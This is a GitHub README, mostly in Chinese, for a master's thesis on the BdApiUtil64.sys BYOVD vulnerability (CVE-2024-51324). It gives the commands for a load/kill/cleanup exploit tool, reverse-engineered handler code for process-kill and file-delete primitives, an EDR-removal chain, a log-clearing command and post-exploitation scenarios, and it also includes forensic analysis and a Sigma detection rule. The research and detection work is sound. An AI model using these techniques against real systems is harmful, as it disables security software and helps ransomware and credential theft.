devianntsec/CVE-2024-51324
GitHub: devianntsec/CVE-2024-51324
针对 CVE-2024-51324 百度杀毒驱动 BYOVD 漏洞的硕士论文研究项目,包含完整利用工具、三个 IOCTL 原语的逆向分析以及配套检测规则。
Stars: 0 | Forks: 0
# CVE-2024-51324 — BYOVD: BdApiUtil64.sys · 硕士论文研究
[](https://nvd.nist.gov/vuln/detail/CVE-2024-51324)
[](https://github.com/devianntsec)
[](LICENSE)
[](https://github.com/devianntsec)
[-orange)](https://nvd.nist.gov/vuln/detail/CVE-2024-51324)
## 描述
本代码仓库包含我关于 **CVE-2024-51324** 的 **硕士论文研究**,这是百度杀毒内核驱动程序 `BdApiUtil64.sys` 中的一个
**自带易受攻击驱动程序 (BYOVD)** 漏洞。
NVD 记录分配的 CVSS v3.1 基础评分为 **3.8(低)**,向量为
`AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N`,CWE-269(不当权限管理)。
该分数并未反映本研究中记录的本地攻击实际情况:一旦该驱动程序被管理员加载(这是一个一次性步骤,可通过社会工程学或任何本地权限提升实现),任何后续进程——包括沙盒或标准用户进程——都可以在无需进一步权限检查的情况下发送 IOCTL。
研究者评估的 CVSS v3.1 评分为 **7.8(高)**,向量为
`AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`,更准确地反映了加载后的利用实际情况。技术文档中对这两个分数都进行了讨论。
该驱动程序创建了设备对象 `\Device\BdApiUtil`,其
`SecurityDescriptor = NULL`,允许任何进程无论完整性级别如何都能打开句柄并发送 IOCTL。通过 Ghidra 11.0.3 进行的静态分析揭示了其内部机制比先前记录的更为重要:该驱动程序使用 `PsLookupProcessByProcessId` + `ObOpenObjectByPointer(KernelMode)` 而非 `ZwOpenProcess`,完全绕过了 `SeAccessCheck`。三个 IOCTL 原语已被完全表征,其中两个此前没有公开文档记录。
### 我的贡献
| 方面 | 描述 |
|--------|-------------|
| **技术纠正** | 导入表中不存在 `ZwOpenProcess`;实际机制是 `PsLookupProcessByProcessId` + `ObOpenObjectByPointer(KernelMode)`,它无条件绕过 `SeAccessCheck` |
| **三个已记录原语** | 进程终止 (`0x800024B4`)、任意文件删除 (`0x80002648`) 以及通过绕过 `SectionObjectPointer` 实现的占用中文件删除 (`0x8000264C`) —— 最后两个没有先前的公开文档记录 |
| **四种操作模式** | LOADER、KILLER、SCANNER 和 CLEANUP —— 完整的生命周期管理 |
| **SHA-256 验证** | 在任何加载尝试之前验证驱动程序哈希 |
| **PPL 经验测试** | 每个进程类别 10 次尝试,确认 PPL 是唯一的运行时缓解措施 |
| **取证分析** | 清理后 Event ID 7045 持续存在;Event ID 1102 作为自我归罪的日志清除痕迹 |
| **检测规则** | Sigma 规则和 Sysmon 配置(通过哈希的 Event ID 6 + 通过注册表项的 Event ID 13) |
| **CVSS 重新评估** | 记录了官方 NVD 评分(3.8 低)与研究者评估的本地利用严重性(7.8 高)之间的差异 |
## 代码仓库结构
```
CVE-2024-51324/
├── README.md
├── LICENSE
│
├── drivers/
│ └── BdApiUtil64.sys # Driver (not distributed)
│
├── exploit/
│ ├── exploit-explanation.md
│ └── byovd_killer.py # Main exploit — 4 operational modes
│
└── docs/
├── screenshots/
│ ├── 01-byovd-scan.png
│ ├── 02-byovd-scan-target.png
│ ├── 03-byovd-load.png
│ ├── 04-byovd-load-custom.png
│ ├── 05-kill-name.gif
│ ├── 06-kill-pid.gif
│ ├── 07-kill-limit.gif
│ ├── 08-dry-run.gif
│ └── 09-byovd-cleanup.png
│
└── analysis/
├── 01-root-cause.md
├── 02-driver-analysis.md # Full Ghidra RE, three primitives, PPL testing
└── 03-timeline.md
```
## 快速开始
### 前置条件
- Windows 10/11(任何版本)
- Python 3.6+
- `BdApiUtil64.sys`(SHA-256:`47EC51B5F0EDE1E70BD66F3F0152F9EB536D534565DBB7FCC3A05F542DBE4428`)
- 管理员账户(仅限 LOADER 和 CLEANUP 模式)
- 驱动程序加载后,标准用户账户即可用于 KILLER 模式
### 第 1 步 — 扫描系统
```
python exploit/byovd_killer.py --scan
python exploit/byovd_killer.py --scan --target lsass.exe
```
### 第 2 步 — 加载驱动程序(需要管理员权限)
```
python exploit/byovd_killer.py --load
python exploit/byovd_killer.py --load --driver C:\path\to\BdApiUtil64.sys
python exploit/byovd_killer.py --load --service-name MyService
```
### 第 3 步 — 终止进程(无需管理员权限)
```
python exploit/byovd_killer.py --kill notepad.exe
python exploit/byovd_killer.py --pid 1234
python exploit/byovd_killer.py --kill notepad.exe --max-instances 2
python exploit/byovd_killer.py --kill notepad.exe --dry-run
```
### 第 4 步 — 清理(需要管理员权限)
```
python exploit/byovd_killer.py --cleanup
python exploit/byovd_killer.py --cleanup --service-name MyService
```
## 操作模式
| 模式 | 命令 | 权限 | 描述 |
|------|---------|------------|-------------|
| **SCANNER** | `--scan` | 任何用户 | 系统和驱动程序状态信息 |
| **LOADER** | `--load` | 管理员 | 通过内核服务创建加载驱动程序 |
| **KILLER** | `--kill` / `--pid` | 任何用户 | 通过 IOCTL 终止进程 |
| **CLEANUP** | `--cleanup` | 管理员 | 停止并删除驱动程序服务 |
## 演示
### SCANNER 模式 — 系统信息

### SCANNER 模式 — 目标进程搜索

### LOADER 模式 — 加载驱动程序

### LOADER 模式 — 自定义路径和服务名称

### KILLER 模式 — 按进程名称终止

### KILLER 模式 — 按 PID 终止

### KILLER 模式 — 限制实例数

### KILLER 模式 — Dry Run (模拟)

### CLEANUP 模式 — 卸载驱动程序

## 技术概览
### IOCTL 攻击面 — 三个原语
通过 Ghidra 11.0.3 对 `BdApiUtil64.sys` 的逆向工程识别出了比以往任何公开来源记录的都要广泛的攻击面:
| IOCTL | Handler | 原语 | 先前文档 |
|-------|---------|-----------|-------------------|
| `0x800024B4` | `FUN_000152b0` | **进程终止** | 部分(机制不正确) |
| `0x80002648` | `FUN_00013bb0` | **任意文件删除** | 无 |
| `0x8000264C` | `FUN_00013850` | **占用中文件删除(SectionObjectPointer 绕过)** | 无 |
### 原语 1 — 进程终止 (`0x800024B4`)
调度链有三个层级:
```
IOCTL 0x800024B4
└─ FUN_00028630 (IRP_MJ_DEVICE_CONTROL dispatcher)
└─ FUN_00015230 (wrapper: validates IOCTL code and buffer size = 4 bytes)
└─ FUN_000152b0 (kill handler — vulnerability locus)
```
重建的 handler (Ghidra):
```
if ((param_1 != 0) && (param_1 != 4)) {
PsLookupProcessByProcessId(param_1, &local_res10);
ObOpenObjectByPointer(
local_res10,
0x200, // OBJ_KERNEL_HANDLE
0, // PassedAccessState: NULL
0x1fffff, // PROCESS_ALL_ACCESS
0, // ObjectType: NULL
0, // AccessMode: KernelMode ← bypasses SeAccessCheck
local_res18
);
ZwTerminateProcess(local_res18[0], 0);
}
```
**为什么 `KernelMode` 会绕过 `SeAccessCheck`:**
```
ZwOpenProcess path:
NtOpenProcess → ObOpenObjectByName → SeAccessCheck
(checks DACL, caller token, integrity level)
can return STATUS_ACCESS_DENIED
ObOpenObjectByPointer(KernelMode) path:
SeAccessCheck ← NOT invoked
→ PROCESS_ALL_ACCESS handle granted unconditionally
```
`ZwOpenProcess` **不在该驱动程序的导入表中**。先前资料中出现的基于 `ZwOpenProcess` 的描述在技术上是错误的。
### 原语 2 — 任意文件删除 (`0x80002648`)
Handler `FUN_00013bb0` 接收一个 Unicode 路径,验证 `InputBufferLength ≥ 0x208`,并委托给 `FUN_00013c10`。子处理程序以内核模式打开文件(对调用者 token 不执行 `SeAccessCheck`),并派发一个 `IRP_MJ_SET_INFORMATION` IRP,其 `FileInformationClass = 0xD`(`FileDispositionInformation`),将该文件标记为删除。任何内核可访问的文件都可以被删除,而不管 NTFS 权限如何。
### 原语 3 — 占用中文件删除 (`0x8000264C`)
Handler `FUN_000139d0` 访问 `FileObject->SectionObjectPointer`(`FILE_OBJECT` 中的偏移量 `0x28`),并在派发删除 IRP 之前临时置空两个字段:
```
plVar1 = FileObject->SectionObjectPointer;
plVar1[2] = 0; // DataSectionObject → NULL
plVar1[0] = 0; // ImageSectionObject → NULL
IofCallDriver(device, irp);
KeWaitForSingleObject(...);
// Restore after completion
plVar1[2] = DataSectionObject_backup;
plVar1[0] = ImageSectionObject_backup;
```
`IopDeleteFile` 在处理 `FileDispositionInformation` 之前会检查这些指针。通过将它们置空,处理程序使该文件看起来未被映射,从而绕过了占用保护。此原语可以从磁盘上删除正在运行的 EDR 代理二进制文件,而无需首先终止进程。
**完整的 EDR 清除链:**
```
1. Terminate EDR process (IOCTL 0x800024B4)
2. Delete EDR binary on disk (IOCTL 0x8000264C) ← works even if memory-mapped
3. Prevent restart ← executable no longer exists on disk
```
## 经验测试
### PPL 抵抗力(每个进程类别 10 次尝试)
| 进程 | PPL 激活 | 可终止 | 原因 |
|---------|-----------|------------|-------|
| `notepad.exe` | 否 | ✅ 10/10 | 无保护 |
| `regedit.exe` | 否 | ✅ 10/10 | 无保护 |
| `spoolsv.exe` | 否 | ✅ 9/10 | SCM 在 1 例中重启 |
| `MsMpEng.exe` | 否(测试环境中无 PPL) | ✅ 8/10 | 轻微的时序差异 |
| `lsass.exe` | 否(缺少 `RunAsPPL`) | ✅ 6/10 | 状态可变性 |
| `csrss.exe` | **是**(无条件 PPL) | ❌ 0/10 | `STATUS_ACCESS_DENIED` |
PPL (Protected Process Light) 是抵抗来自此驱动程序的、基于 `ObOpenObjectByPointer(KernelMode)` 终止操作的**唯一运行时缓解措施**。
### 导入表分析
| 存在 | 缺失 |
|---------|--------|
| `PsLookupProcessByProcessId` | `ZwOpenProcess` |
| `ObOpenObjectByPointer` | `SeAccessCheck` |
| `ZwTerminateProcess` | `SePrivilegeCheck` |
| | `PsGetCurrentProcess` |
| | `IoGetRequestorProcess` |
## 后渗透场景
| 场景 | 目标 | 影响 |
|----------|--------|--------|
| EDR/AV 终止 | `MsMpEng.exe`、`SentinelAgent.exe` | 防御规避 |
| EDR 二进制文件删除(占用中) | 磁盘上的 EDR 可执行文件 | 防止终止后重启 |
| 审计日志破坏 | `EventLog` 服务 | 篡改取证 |
| 受保护进程绕过 | `lsass.exe`(无 RunAsPPL) | 凭据访问促成因素 |
| 勒索软件加密前准备 | 安全代理 | 完整的防御规避链 |
## 取证痕迹
### `--cleanup` 之后持续存在的内容
| 痕迹 | 清理后状态 |
|----------|-------------------|
| SCM 中的服务 | 已移除 |
| `driverquery` 中的驱动程序 | 已移除 |
| 设备对象 | 不可访问 |
| 注册表项 | 已移除 |
| **Event ID 7045** | **持续存在 — 无法通过 `sc delete` 移除** |
Event ID 7045 是在经过完整攻击周期并进行清理后**唯一存留的痕迹**。它包含服务名称、`ImagePath`(完整二进制路径)、服务类型和创建时间戳。
### 清除日志是自我归罪的行为
执行 `wevtutil cl System` 来移除 Event ID 7045 会在安全通道中生成 **Event ID 1102**,记录了谁在何时清除了日志。这使得日志篡改变得可检测,即使原始痕迹已被销毁。
| 攻击者操作 | 产生的痕迹 | 通道 | 持续性 |
|----------------|--------------------|---------|-------------|
| `wevtutil cl System` | Event ID 7045 已删除 | System | — |
| `wevtutil cl System` | **生成 Event ID 1102** | **Security** | 永久 |
## 检测规则
### Sigma 规则
```
title: BYOVD Attack via BdApiUtil64.sys (CVE-2024-51324)
id: a3f7c2e1-8b4d-4f9a-b6e3-2d1c9f8a7b5e
status: experimental
logsource:
product: windows
service: system
detection:
selection_eventid:
EventID: 7045
selection_driver:
- ServiceName|contains: 'BdApi'
- ImagePath|contains: 'BdApiUtil64.sys'
condition: selection_eventid and selection_driver
level: high
tags:
- attack.defense_evasion
- attack.t1562.001
- attack.privilege_escalation
- attack.t1068
```
完整的 Sigma 规则和 Sysmon 配置(通过 SHA-256 哈希的 Event ID 6 + 通过注册表项的 Event ID 13)可在 [`docs/detection/`](docs/detection/) 中。
## 技术文档
| 文档 | 描述 |
|----------|-------------|
| [Root Cause Analysis](docs/analysis/01-root-cause.md) | `IRP_MJ_DEVICE_CONTROL` handler 中缺失访问控制 |
| [Driver Analysis](docs/analysis/02-driver-analysis.md) | 完整的 Ghidra 逆向工程,三个 IOCTL 原语,PPL 测试,导入表分析 |
| [CVE Timeline](docs/analysis/03-timeline.md) | 发现、披露和补丁时间线 |
## 学术背景
本研究是我在 **网络安全硕士学位**
(UCAM — Campus Internacional de Ciberseguridad) 的 **硕士论文** 的一部分,分析了跨多个环境的 N-Day 漏洞。
此 CVE 代表了论文中的 **Windows 内核驱动程序 / BYOVD** 向量,展示了:
- 通过完整的 IOCTL 枚举进行的内核驱动程序攻击面分析
- 对先前公开描述的技术纠正(缺少 `ZwOpenProcess`;实际机制是 `ObOpenObjectByPointer(KernelMode)`)
- 发现了两个以前未公开文档记录的原语(文件删除 IOCTL)
- 经验性的 PPL 抵抗力表征
- 通过完整的清理后周期进行取证痕迹分析
- CVSS 评分批判:记录了官方 NVD 评分与本地利用严重性之间的差距
**关键词:** `BYOVD` · `Kernel Driver` · `IOCTL` · `Ghidra` · `Process Termination` ·
`File Deletion` · `SectionObjectPointer` · `ObOpenObjectByPointer` · `Defense Evasion` ·
`CVE-2024-51324`
## 作者
**Annais Molina (devianntsec)** — 网络安全硕士研究生
[](https://github.com/devianntsec)
[](https://linkedin.com/in/annais-molina-fuentes)
[](mailto:me@deviannt.com)
## 致谢
- [**NVD / NIST**](https://nvd.nist.gov/vuln/detail/CVE-2024-51324) — CVE 记录和评分
- [**loldrivers.io**](https://www.loldrivers.io) — 社区维护的易受攻击驱动程序索引
- [**BlackSnufkin**](https://github.com/BlackSnufkin/BYOVD/tree/main/BdApiUtil-Killer) — 原始 PoC 参考
- [**Cisco Talos**](https://blog.talosintelligence.com/byovd-loader-deadlock-ransomware/) — DeadLock 勒索软件 BYOVD 分析(2025 年 12 月)
## 许可证
MIT License — 详见 [LICENSE](LICENSE)
## 法律免责声明
本代码仓库**仅用于教育和安全研究目的**,为学术硕士论文的一部分。所有测试均在无网络暴露的隔离虚拟机上进行。易受攻击的驱动程序(`BdApiUtil64.sys`)未在本代码仓库中分发——必须独立获取。仅在您拥有或获得明确书面授权进行测试的系统上使用。对系统进行未经授权的使用是非法的,并可能导致刑事起诉。
将存在漏洞的驱动程序加载到内核中(LOADER 模式)
© 2026 Annais Molina · 网络安全硕士论文
UCAM Universidad Católica San Antonio de Murcia · Campus Internacional de Ciberseguridad
UCAM Universidad Católica San Antonio de Murcia · Campus Internacional de Ciberseguridad
标签:0day挖掘, BdApiUtil64.sys, BYOVD, CVE-2024-51324, IOCTL逆向, Python, Web报告查看器, Windows驱动, 云资产清单, 内核安全, 协议分析, 学术研究, 安全扫描, 安全描述符, 安全防御绕过, 恶意驱动加载, 情报收集, 数据展示, 无后门, 时序注入, 本地提权, 权限提升, 漏洞研究, 硕士学位论文, 红队, 网络安全, 逆向工具, 逆向工程, 隐私保护